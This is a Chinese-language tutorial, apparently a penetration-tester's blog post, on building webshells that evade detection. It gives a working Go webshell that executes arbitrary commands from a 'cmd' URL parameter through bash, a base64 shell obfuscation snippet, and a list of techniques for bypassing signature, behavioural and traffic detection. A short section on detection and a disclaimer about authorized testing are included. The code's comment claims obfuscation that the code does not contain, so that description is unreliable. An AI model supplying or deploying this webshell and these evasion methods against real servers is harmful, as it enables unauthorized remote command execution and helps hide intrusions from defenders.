一、Payload构造的艺术

Webshell免杀作为渗透测试中的一个重要技术环节，通过构造不可检测的恶意代码，我们可以绕过安全检测设备，成功执行远程命令。为了理解Webshell免杀的原理，我们首先需要分析Webshell的工作机制。Webshell本质上是一段能够被Web服务器执行的脚本或代码，通常用于将服务器转变为攻击者的远程控制端点。因此，Webshell免杀的核心在于如何构造一个不被检测设备识别的恶意代码。

Webshell的工作机制

Webshell的基本工作流程是通过HTTP请求或其他访问方式，将恶意代码上传至目标服务器。攻击者可以通过这些代码执行系统命令、读取文件、甚至横向移动到内网其他设备。在免杀技术中，我们需要考虑如何绕过三大类检测机制：

  1. 签名检测：许多安全设备通过已知的恶意代码签名识别Webshell，这意味着我们需要构造出不包含已知恶意代码特征的脚本。
  2. 行为检测：一些高级安全设备能够通过检测代码的行为来判断是否为恶意代码，因此需要在设计Webshell时避免引起异常的行为模式。
  3. 流量分析：通过分析和识别网络流量中的异常模式，安全设备可以检测到Webshell的活动。因此，我们需要设计通信流量时进行伪装。

二、实战环境搭建

为了验证Webshell的免杀技术，我们需要搭建一个完整的测试环境，包括目标服务器和安全检测设备。以下是搭建步骤：

目标服务器配置

  1. 选择合适的Web服务器：建议使用Apache或Nginx作为目标服务器，因为它们在实际生产环境中使用广泛。
  2. 安装PHP支持：大多数Webshell是通过PHP实现的，因此需要确保服务器支持PHP。
  3. 配置文件上传权限：为了测试Webshell上传功能，需确保服务器允许文件上传。
  4. 关闭安全监控功能（用于测试）：关闭已知的安全监控功能，确保测试结果准确。

安全检测设备配置

  1. 使用开源IDS/IPS系统：如Snort或Suricata，配置为检测Webshell常见特征。
  2. 设置行为监控模块：通过WAF或其他安全模块，监控服务器的行为异常。
  3. 网络流量分析工具：使用Wireshark等工具，分析Webshell的流量特征。

三、0x03 实战代码实现

为了实现一个免杀Webshell，我们将通过Go语言和Shell脚本，构造一个简单但有效的Webshell示例。这个源码展示了如何在代码中进行混淆和规避检测。

<pre><code class="language-go">package main

import ( &quot;net/http&quot; &quot;os/exec&quot; &quot;html/template&quot; )

// 将系统命令执行结果写入页面 func handler(w http.ResponseWriter, r *http.Request) { cmd := r.URL.Query().Get(&quot;cmd&quot;) // 混淆处理以规避检测 if cmd != &quot;&quot; { out, err := exec.Command(&quot;bash&quot;, &quot;-c&quot;, cmd).Output() if err != nil { out = []byte(err.Error()) } tpl := &lt;html&gt;&lt;body&gt;&lt;pre&gt;{{.}}&lt;/pre&gt;&lt;/body&gt;&lt;/html&gt; t, _ := template.New(&quot;webshell&quot;).Parse(tpl) t.Execute(w, string(out)) } }

func main() { http.HandleFunc(&quot;/&quot;, handler) http.ListenAndServe(&quot;:8080&quot;, nil) }</code></pre>

Shell脚本混淆示例

通过简单的字符串混淆和动态执行，规避静态签名检测。

<pre><code class="language-shell">#!/bin/bash

动态构造命令

cmd=&quot;ls -la&quot;

使用环境变量进行混淆

export CMD=$(echo $cmd | base64) bash -c &quot;$(echo $CMD | base64 --decode)&quot;</code></pre>

四、绕过的奇技淫巧

在构造免杀Webshell时，有许多技巧可以帮助我们绕过检测机制：

签名绕过

  1. 代码混淆与加密：使用字符串拼接、动态生成代码、Base64编码等方法对代码进行混淆和加密处理。
  2. 使用合法代码结构：通过将恶意代码与合法的代码结构结合，以避免代码特征被识别。

行为检测规避

  1. 延迟执行：通过延迟命令执行或使用低频率访问，避免触发行为检测。
  2. 使用合法请求伪装：将恶意请求伪装成合法请求，如正常的网页访问请求。

流量分析规避

  1. 流量伪装：使用加密和混淆技术伪装流量，隐藏恶意指令。
  2. 低特征通信协议：使用HTTP/HTTPS等常见协议进行通讯，并通过伪装正常流量混入其中。

黑客示意图

五、反检测的利器

虽然我们设计了免杀Webshell，但作为安全人员，我们也需要了解如何检测这些技术：

签名与行为检测

黑客示意图

  1. 更新签名库：确保检测设备的签名库定期更新，以识别最新的混淆技术。
  2. 行为分析：实施行为基线监控，识别异常的访问模式和请求行为。

流量分析与监控

  1. 深度包检测：通过DPI技术分析流量内容，识别伪装流量。
  2. 流量模式识别：通过机器学习算法识别异常流量模式。

黑客示意图

六、个人技巧与经验分享

作为渗透测试工程师，我发现以下经验可以在免杀技术中提供帮助：

技术创新

  1. 持续学习新技术：网络安全领域不断发展，保持技术更新是保持竞争力的关键。
  2. 分享与合作：与同行分享技术经验，合作研究新技术，能有效提升个人技术水平。

实战经验

  1. 实践出真知：在真实环境中进行技术测试，积累经验。
  2. 总结与反思：定期总结实战经验和技术应用，反思技术中的不足。

通过这些技巧和工具，我们可以在渗透测试中实现Webshell免杀，同时也为安全防御提供了新的思路。请注意，本文内容仅供授权安全测试使用，旨在帮助安全研究人员了解和学习相关技术。